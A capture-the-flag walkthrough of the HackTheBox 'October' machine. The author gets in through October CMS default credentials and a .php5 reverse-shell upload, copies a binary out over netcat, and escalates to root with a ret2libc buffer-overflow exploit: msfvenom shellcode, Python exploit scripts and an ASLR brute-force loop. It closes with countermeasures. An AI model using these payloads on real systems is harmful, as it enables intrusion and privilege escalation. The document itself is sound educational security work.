Contents

HackTheBox - October

Active Ports

sudo nmap -p22,80 -sC -sV -oA nmap/full-tcp-version 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-16 09:26 EDT
Nmap scan report for 10.10.10.16                                                                                                                                                                                 
Host is up (0.032s latency).                                                                            
                                                    
PORT   STATE SERVICE VERSION                                                                            
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                                          
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)                                       
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)                                      
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)                                                                                                                                                  
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)                            
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))                                                                                                                                                               
| http-methods:                                  
|_  Potentially risky methods: PUT PATCH DELETE                                                         
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Vulnerability Discovery

Navigating to the web service, we have an instance of October CMS.

/images/htb-october/october-homepage.png

Since the box was released on April 20, 2017, this box was intended to be solved with an exploit that likely came out a few days before that date. The following page shows that there are multiple vulnerabilities associated with October CMS 1.0.412 as of April 25, 2017 which is 5 days after this box was released. The most interesting one is one where an authenticated user with media or asset management permissions is able to upload a file to gain remote code execution.

At this point, I tried creating a default user, though that user did not have those permissions. After doing some more research on October CMS, I tried searching for October CMS default login credentials which happened to be admin/admin. At this point, I needed to find where the administrative login page could be found. A google search helped be identify that I can sign into the CMS backend at the http://10.10.10.16/backend/backend/auth/signin endpoint.

/images/htb-october/october-administration-login-page.png

Supplying the default login credentials admin/admin, I was granted access to the administration page:

/images/htb-october/october-administration-page.png

At this point, I wanted to fingerprint the CMS version so I could determine whether the file upload vulnerability I discovered earlier would work before running it.

/images/htb-october/october-cms-version-permission-denied.png

Exploiting the Vulnerability (Missing file extension in blacklist)

At this point, I figured it wouldn’t hurt to try to upload a php reverse shell to get remote code execution. The exploit I found from earlier mentions that October CMS 1.0.412 uses a blacklist to prevent users from uploading certain files with malicious extentions. The problem with this approach is that as web server technologies evolve, more and more extensions will become valid and those files will be processed as PHP code. The blacklist did not check for the .php5 file extension, and as a result, I was able to upload a php reverse shell to the web server:

/images/htb-october/october-upload-php-reverse-shell.png

Visiting the reverse shell at http://10.10.10.16/storage/app/media/r0kit-rsh.php5 triggered the web server to connect back to my netcat listener on port 2001:

ncat -nvlp 2001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2001
Ncat: Listening on 0.0.0.0:2001
Ncat: Connection from 10.10.10.16.
Ncat: Connection from 10.10.10.16:41818.
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
 17:21:28 up 59 min,  0 users,  load average: 8.34, 7.79, 6.40
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

After upgrading my reverse shell to a pseudo terminal, I managed to get the user flag:

www-data@october:/home/harry$ cat user.txt
29161ca87aa3d34929dc46efc40c89c0

Privilege Escalation

After poking around for a bit, I ran across a suspicious SUID binary:

find / -perm -4000 2>/dev/null
/bin/umount                 
/bin/ping      
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount 
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp               
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw

The /usr/local/bin/ovrflw binary was very suspicious, especially since it was added to the machine April 21, 2017 which was a day after the machine was released:

$ ls -la /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw

Fingerprinting the file, it happened to be an ELF:

$ file /usr/local/bin/ovrflw
/usr/local/bin/ovrflw: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

I did some basic dynamic analysis on this binary to see which library calls it was making:

$ ltrace /usr/local/bin/ovrflw
printf("Syntax: %s <input string>\n", "/usr/local/bin/ovrflw"Syntax: /usr/local/bin/ovrflw <input string>
)                                                                   = 45
exit(0 <no return ...>
+++ exited (status 0) +++

At this point, I figured I should try supplying an argument to the program and see how it would behave:

$ ltrace /usr/local/bin/ovrflw r0kit
__libc_start_main(0x804847d, 2, 0xbfc441d4, 0x80484d0 <unfinished ...>
strcpy(0xbfc440cc, "r0kit")                                                                                                      = 0xbfc440cc
+++ exited (status 0) +++

The program was very simple since it was only copying a string to a memory address. I tried running the same program again to see if the anything would change:

$ ltrace /usr/local/bin/ovrflw r0kit
__libc_start_main(0x804847d, 2, 0xbfd712b4, 0x80484d0 <unfinished ...>
strcpy(0xbfd711ac, "r0kit")                                                                                                      = 0xbfd711ac
+++ exited (status 0) +++

Since the memory address changed, I figured the ASLR kernel countermeasure was enabled. I was also able to verify that ASLR was enabled by checking the following:

$ cat /proc/sys/kernel/randomize_va_space
2

2 meant that ASLR was enabled to fully randomize the stack layout which was why the memory address would change after every attempt.

At this point, I figured it would be better to develop a buffer overflow exploit for this binary on one of my local machines, so I transferred the file from the October machine to my kali machine via netcat.

On the October machine:

cat /usr/local/bin/ovrflw - | nc 10.10.14.33 2002

On my kali machine:

$ ncat -nlvp 2002 > overflw
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2002
Ncat: Listening on 0.0.0.0:2002
Ncat: Connection from 10.10.10.16.
Ncat: Connection from 10.10.10.16:60560.

Eventually, I stopped the download and verified the file’s checksum to ensure it wasn’t corrupt:

$ sha1sum /usr/local/bin/ovrflw
e93408c2c717d425fd175818697c9a8d62c5022a  /usr/local/bin/ovrflw

The checksum matched on my kali machine!

Enabling Core Dumps

Word of caution: only enable core dumps on debugging/development machines since they can contain sensitive information!

This isn’t a necessary step, but if you wish to enable core dumps on your machine, you can do something like the following:

echo '/tmp/core_%e.%p' | sudo tee /proc/sys/kernel/core_pattern
sudo systemctl daemon-reload
ulimit -c unlimited

The following command below disables ASLR so that you can reliably overflow a particular address:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Since ASLR is enabled on the target machine, I figured I could repeatedly run the buffer overflow until I got lucky and hit the right address since there was no rate limiting or lockout mechanism in attempting to exploit /usr/local/bin/ovrflw.

For exploit development on Linux, I like to use the gdb with gef, so I loaded up the binary in gdb with the following:

/images/htb-october/october-gdb-load-binary.png

Next, I went ahead and generated a cyclic pattern with pwntools so that I could determine how big the buffer was before the program would crash:

/images/htb-october/october-privesc-find-initial-crash-offset.png

Notably, we can see that the crash happened at 0x62616164 in the buffer which translates to daab in little endian ascii which meant that the buffer was 112 bytes long.

$ pwn cyclic -l 0x62616164
112

At this point, I needed to take control over EIP, so I wrote the following program to keep track of my progress:

import struct
import sys

buf_len = 112
eip = struct.pack("<I", 0xdeadbeef)
buf = b'A' * buf_len
buf += eip
sys.stdout.buffer.write(buf)

I then ran the program in gdb/gef like the following:

/images/htb-october/october-control-eip-crash-offset.png

Excellent! I was able to control the EIP register! At this point, I needed to put some shellcode in the buffer to spawn a shell and put it into the buffer. I used msfvenom to do this for me.

$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD=/bin/bash -f python -b '\x00'
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of python file: 365 bytes
buf =  b""
buf += b"\xdb\xd9\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0c\xba\x17"
buf += b"\xa5\x80\x35\x31\x53\x18\x03\x53\x18\x83\xeb\xeb\x47"
buf += b"\x75\x5f\x18\xd0\xef\xf2\x78\x88\x22\x90\x0d\xaf\x55"
buf += b"\x79\x7e\x58\xa6\xed\xaf\xfa\xcf\x83\x26\x19\x5d\xb4"
buf += b"\x32\xde\x62\x44\x6d\xbc\x0b\x2a\x5e\x22\xad\xc1\xc8"
buf += b"\xa2\x7a\x75\x81\x42\x49\xf9"

Note that I needed to encode the null byte because it is a bad character for stdin which is how the payload will be delivered to the vulnerable root SUID program.

I then updated my exploit to include the exploit in the buffer:

import struct
import sys 

shellcode = b"" 
shellcode += b"\xdb\xd9\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0c\xba\x17"
shellcode += b"\xa5\x80\x35\x31\x53\x18\x03\x53\x18\x83\xeb\xeb\x47"
shellcode += b"\x75\x5f\x18\xd0\xef\xf2\x78\x88\x22\x90\x0d\xaf\x55"
shellcode += b"\x79\x7e\x58\xa6\xed\xaf\xfa\xcf\x83\x26\x19\x5d\xb4"
shellcode += b"\x32\xde\x62\x44\x6d\xbc\x0b\x2a\x5e\x22\xad\xc1\xc8"
shellcode += b"\xa2\x7a\x75\x81\x42\x49\xf9"

buf_len = 112 
eip = struct.pack("<I", 0xdeadbeef)
buf = b"\x90" * (buf_len - len(shellcode)) + shellcode
buf += eip 

sys.stdout.buffer.write(buf)

Before proceeding, I wanted to check whether the stack was executable to verify whether I could execute shellcode directly from the buffer I used to overflow the stack:

$ readelf -l /usr/local/bin/ovrflw

Elf file type is EXEC (Executable file)
Entry point 0x8048380
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00658 0x00658 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x00057c 0x0804857c 0x0804857c 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .init_array .fini_array .jcr .dynamic .got

Notice how GNU_STACK is not executable since it doesn’t have the X flag enabled. This means that if we overflow the stack, we will not be able to execute code from within our buffer. We can overcome this with a trick known as return to libc where we can jump to a memory address in libc and supply the necessary arguments.

For this scenario, I needed to run system("/bin/sh") to get a root shell. The call to system() is located in /lib/i386-linux-gnu/libc.so.6 which is dynamically linked to the executable. We can check which shared object files are dynamically linked to /usr/local/bin/ovrflw with the following command:

$ ldd /usr/local/bin/ovrflw
        linux-gate.so.1 =>  (0xb77be000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7604000)
        /lib/ld-linux.so.2 (0x800ae000)

We also need to find the offsets in /lib/i386-linux-gnu/libc.so.6 that point to the system() and exit() functions with the command below:

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "(system|exit)@"              
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

Here, we can see that the calls to exit() and system() are located at offsets 0x00033260 and 0x00040310 in /lib/i386-linux-gnu/libc.so.6 respectively.

Next, we need to find a string that points to a shell since we cannot provide on in our overflow buffer. We can find such strings in /lib/i386-linux-gnu/libc.so.6:

data@october:/dev/shm$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
 162bac /bin/sh
 164b10 /bin/csh

As seen above, /bin/sh is located at offset 0x162bac in /lib/i386-linux-gnu/libc.so.6.

We can also search for /bin/sh with GDB:

$ gdb -q /usr/local/bin/ovrflw
Reading symbols from /usr/local/bin/ovrflw...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048480
(gdb) run
Starting program: /usr/local/bin/ovrflw

Breakpoint 1, 0x08048480 in main ()
(gdb) info proc map
process 1813
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /usr/local/bin/ovrflw
         0x8049000  0x804a000     0x1000        0x0 /usr/local/bin/ovrflw
         0x804a000  0x804b000     0x1000     0x1000 /usr/local/bin/ovrflw
        0xb75c7000 0xb75c8000     0x1000        0x0
        0xb75c8000 0xb7772000   0x1aa000        0x0 /lib/i386-linux-gnu/libc-2.19.so
        0xb7772000 0xb7774000     0x2000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
        0xb7774000 0xb7775000     0x1000   0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
        0xb7775000 0xb7778000     0x3000        0x0
        0xb777e000 0xb7780000     0x2000        0x0
        0xb7780000 0xb7782000     0x2000        0x0 [vvar]
        0xb7782000 0xb7784000     0x2000        0x0 [vdso]
        0xb7784000 0xb77a4000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
        0xb77a4000 0xb77a5000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
        0xb77a5000 0xb77a6000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
        0xbfa79000 0xbfa9a000    0x21000        0x0 [stack]
(gdb) find 0xb75c8000,0xb7772000,"/bin/sh"
0xb772abac
1 pattern found.
(gdb) x/s 0xb772abac
0xb772abac:     "/bin/sh"

At this point, we can remap the exact base address by checking where /lib/i386-linux-gnu/libc.so.6 is located with the following:

data@october:/dev/shm$ ldd /usr/local/bin/ovrflw
        linux-gate.so.1 =>  (0xb773e000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
        /lib/ld-linux.so.2 (0x800eb000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw
        linux-gate.so.1 =>  (0xb7754000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759a000)
        /lib/ld-linux.so.2 (0x800dc000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw
        linux-gate.so.1 =>  (0xb77cf000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7615000)
        /lib/ld-linux.so.2 (0x800f5000)

Notice how the base address of /lib/i386-linux-gnu/libc.so.6 changes each time. This is because ASLR is enabled. On 32-bit machines, the chance of guessing the base address is 1/4096 which can be brute-forced very quickly. Therefore, the base address of /lib/i386-linux-gnu/libc.so.6 can be guessed with enough attempts. For this example, I will remap the absolute addresses of exit() and system() like the following:

exit    = 0xb7584000+0x00033260 = 0xb75b7260
system  = 0xb7584000+0x00040310 = 0xb75c4310
/bin/sh = 0xb7584000+0x00162bac = 0xb76e6bac

I then updated exploit.py like the following:

import struct
import sys

buf_len = 112
system_addr = struct.pack("<I", 0xb75c4310)
exit_ret_addr = struct.pack("<I", 0xb75b7260)
binsh_addr = struct.pack("<I", 0xb76e6bac)
buf = b"\x90" * buf_len
buf += system_addr + exit_ret_addr + binsh_addr

sys.stdout.buffer.write(buf)

The format of the buffer is essentially the following:

NOP SLED|RETURN ADDRESS|PREVIOUS STACK FRAME ADDRESS|FUNCTION ARGUMENTS

I wrote loop-exploit.sh to run exploit.py until I got a root shell:

#!/bin/sh

while true; do
    /usr/local/bin/ovrflw $(python3 exploit.py)
done
www-data@october:/dev/shm$ ./loop-exploit.sh
Segmentation fault (core dumped)
Segmentation fault (core dumped)
... CONTENT SNIPPED ...
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# cat /root/root.txt
6bcb9cff749c9318d2a6e71bbcf30318

Countermeasures

  • Keep October CMS updated to the latest version.
  • Change the default login credentials on October CMS.
  • Upgrade the operating system the latest version (x64 bit is preferred to make ASLR more effective).
  • Don’t keep vulnerable root SUID binaries around on the machine.